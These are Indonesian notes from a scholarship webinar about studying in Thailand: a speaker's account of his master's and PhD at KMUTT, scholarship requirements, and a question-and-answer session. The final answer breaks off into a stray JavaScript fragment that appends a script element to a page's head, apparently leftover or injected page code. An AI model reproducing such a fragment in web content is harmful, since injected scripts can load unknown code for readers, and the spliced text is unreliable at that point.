SchoTalk #1 Thailand by Sahabat Beasiswa Chapter Kaltim

Notulensi SchoTalk #1 SB Chapter Kaltim

“Bongkar Rahasia Beasiswa Thailand”

 

Biodata Pemateri

Nama : Fahrizal Adnan

Riwayat Pendidikan :

S1 di Universitas Mulawarman jurusan teknik lingkungan. S2 double degree di Universitas Mulawarman dan King Mongkut’s University of Technology Thonburi.

 

Perjuangan menuju S2 dan S3 di Thailand

Dulu pertama kali saya kuliah master lalu melanjutkan studi saya untuk jenjang Ph.D, ada pengalaman menarik ketika saya mau lanjut PhD. Pada saat saya daftar beasiswa S3 saya belum menyelesaikan studi S2 sepenuhnya sebenarnya.

Kemudian saya mengisi form pendaftaran dan menuliskan akan lulus di semester tersebut. lalu saya menjalani proses. Mulai dari tes berkas sampai wawancara didepan 10 sampai belasan komite. Tidak ingat pasti dan akhirnya pengumuman tiba.

Hari itu, hari jumat dan dan saya sedang mempersiapkan untuk pendadaran atau sidang hasil master utk hari senin berikunya alias 3hari setelah jadwal pegumuman beasiswa.

Ternyata saya Alhamdulillah diterima pada hari jumat tersebut, 3 arisebeum sidang pendadaran saya.

Setelah pendadaran, saya harus revisi buku tesis tapi saya juga pada saat yang sama sudah mulai kuliah S3. Alhamdulillah banget waktu bisa efektif.

Dulu saat kuliah S1, salah satu tujuan yang saya harapkan ialah sudah selesai S3 sebelum usia 30 thn. Alhamdulillah setahap demi setahap menjalani proses kearah sana. Sebagai seorang muslim, saya yakin dengan bahwa Allah tergantung persangka hambanya. Kalau kita yakin dan berusaha,insya Allah semuanya dapat kita raih.

 

Beasiswa di Thailand

Saya memlih studi di Thailand karena paling tidak ada 3 alasan yakni :

  1. Beasiswa yg tersedia
  2. Rangking kampus, fasilitas penelitian yg lebih baik,saingan kampus thai hanya NUS dan NTU di singapore, serta UT di Malaysia. Kampus di Indonesia juga banyak yang bagus, tapi kita harus mengakui secara rangking masih perlu peningkatan
  3. Untuk kenyamanan, sebagai muslim paling tidak bisa ketemu mesjid dan mudah mendapatkan makanan halal, bahkan disini ada namanya Halal Scince Center di bawah Chulalonkorn University yang mendirikan Asoc.Prof Winai Dahlan cucu dari KH Ahmad Dahlan pendiri muhamadiyah di Indonesia

Untuk beasiswa biasanya mahasiswa Indonesia disini mendapatkan dari 2 sumber :

  1. Dari Indonesia (skema DIKTI dan LPDP) atau
  2. Dari selain Indonesia (kampus thailand atau pemerinta Thailand bahkan ada kawan dapat dari pemerintah Norwegia)

Syarat mendapatkan beasiswa minimal ada 3 hal yang harus disiapkan :

  1. TOEFL atau sejenisnya (dengan skor TOEFL 500 atau 550 tergantung beasiswanya)
  2. IPK s1 biasanya diminta min 3.5
  3. Rencana atau proposal penelitian (ada beberapa beasiswa yang juga meminta nama pembimbing potensial seperti beasiswa saya)

Jadi saya menyarankan untuk tentukan bidang penelitian dan mau kuliah jurusan apa,selanjutnya cari pemimbing dan terakhir cek ketersediaan beasiswa. Kalau kampus saya, bisa cek di admission.kmutt.ac.th

 

Sesi Tanya-Jawab

  1. Mega Agissa_IAIN Samarinda

Pertanyaan :

Kalau boleh tau TOEFL Kak Fahrizal pada saat dapat beasiswa berapakah?

Dan bagaimana kita bisa mendapatkan TOEFL yg tinggi?

Dan apakah kaka memang pernah kursus b.inggris ? Atau otodidak?

Jawaban :

Syarat TOEFL di kampus saya ialah 500, jadi saya sudah lewat dari itu 🙂 Alhamdulillah. Kalau mau dapat TOEFL yg bagus, harus latihan, caraya masing-masing . Tapi kalau saya sempat kursus tapi sering bolos dulu karna kerja hehehe.Jangan ditiru ya hehe. Otodidak juga bisa, dengan baca buku, nonton youtube dll

 

  1. Rasyid_STTN_TFN

Pertanyaan :

  1. Kak, seandainya ipk kurang dari 3.5 bgmn peluang untk diterima disana?
  2. Adkah prsyaratan batasan usia
  3. Apa2 aja kak jenis2 beasiswa yg ditawarkan kampus & pmerintah thailand

Jawaban :

Jika IP kurang, tergantung syarat basiswanya, ada yang mengikat dan ada juga yang masih bisa ditawar. Kalau keterbatasan usia untuk beasiswa kadang-kadang ada misalnya max 35 tahun.

Banyak beasiswa yang ditawakan dari thailand, termasuk saya juga dapat dari Thailand. Misalnya untuk kampus saya namanya Beasiswa Phra Jom untuk S3 dan Beasiswa Nano Science untuk S2.

 

3.Alia_UPN Veteran Jkt_Teknik Industri

Pertanyaan :

Apa yang diperhatikan oleh tim penyeleksi beasiswa dari cv kita? Bagaimana kalo track record atau achievements kita biasa-biasa saja, apakah masih berpeluang dilirik oleh tim penyeleksi? Apa tips dalam menulis motivation letter?

Jawaban :

Banyak sekali faktornya yaa tapi menurut saya yang biasanya jadi perhatian adalah keseriusan kita, terlhat dari kejelasan rencana penelitian, mampu bertahan dalam kondisi penuh tekanan (ini saya sebutkan di motivation letter saya hehehe) dan lain mengenai kelebihan kita setiap dari kita berpeluang besar kok.

 

4. Wulan_UNJ_Pendidikan Tata Boga

Pertanyaan :

Master maupun Doctoral yg ingin membuat thesis dan ambil courses by research itu harus cari dosen pembimbing dulu ya? Nah itu harus dosen dari university yg kita tuju atau bebas cari pembimbing potensial dari mana saja? Dan kalau memang tujuannya univ luar apa boleh pembimbing dosen di Indonesia? Terimakasih

Jawaban :

Pembimbingnya harus dari jurusan atau paling tidak dari kampus yang sama pasti sulit kalau ga rutin ketemu pembimbing, apalagi beda Negara. Sewaktu S2, saya ambil program double degree, indonesia-thailand, jadi pembimbig dari 2 negara, tapi bisa dikatakan bahwa dosen pembimbng dari thailand lah yang berkontribusi karna pertemuan secara fisik atau ketemu langsung dgn dosen indonesia sulit.

 

  1. Eni_UNPAD_Agroteknologi (Bioteknologi dan Pemuliaan Tanaman)

Pertanyaan :

  1. Kampus apa yang unggul di bidang plant breeding atau pertanian?
  2. Apa bahasa yang digunakan saat perkuliahan?

Jawaban :

Mungkin Kasetsart university, ini seperti IPB ya thailand, jadi kalau pertanian, langsung orientasinya ke kasetsart university. Selain itu mungkin chulalongkorn university. Chula merupakan kampus besar (bisa dikatakan paling besar dan maju di thailand selain kampus saya heehehe). Bahasa yang digunakan adalah English.

 

  1. Ari_UNPAD

Pertanyaan:

Kebanyakan teman-teman saya bingungnya bagian milih kampus mana yang sesuai dengan kemampuan mereka. Nah, bagaimana cara kita bisa menyeimbangkan/mencari peluang dengan tepat untuk memilih kampus tujuannya?

Jawaban :

Biasanya kampus besar, beasiswa nya banyak. Mayoritas di Bangkok. Bisa cek di website kampus negeri di bangkok seperti Chulalongkorn, Mahidol, KMUTT, Kasetsart, KMITL dan Thammasat university.swasta di bangkok sepert Kampus swasta di Bangkok seperti AIT. Di luar bangkok ada Prince of Songkla University di selatan Thailand dan Mae Fah Luang university di utara Thailand.

 

  1. Cep Hikmat M.Y_Biologi

Pertanyaan :

1.Ada tips dan trik buat tingkatkan nilai GRE ga ? Apakah di Thailand ada batasan nilai GRE?

2. Seandainya dapat besiswa LPDP, apakah sering macet? Kalau cerita dari Dosen kok sering macet ya…

3. Bagaimana kultur di Thailand yang notabene masyarakatnya tidak bisa bahasa Inggris?

Jawaban :

Di Thailand saya belum pernah dengar ada syarat pakai GRE, biasanya di amerika mungkin. Beasiswa LPDP kalau lihat teman-teman lancar jaya dan makmur tuh hehehe., mungkn DIKTI kali. Biasanya dosen dapatnya dikti tapi saya mungkn kurang tau. Negara-negara yang bukan english native, biasanya bahasa inggrisnya aksen bahasa local. Jadi kalau menurut saya unik dan menarik. Memang ga bisa dipungkiri jika bisa bahasa lokal akan sangat membantu.d.getElementsByTagName(‘head’)[0].appendChild(s);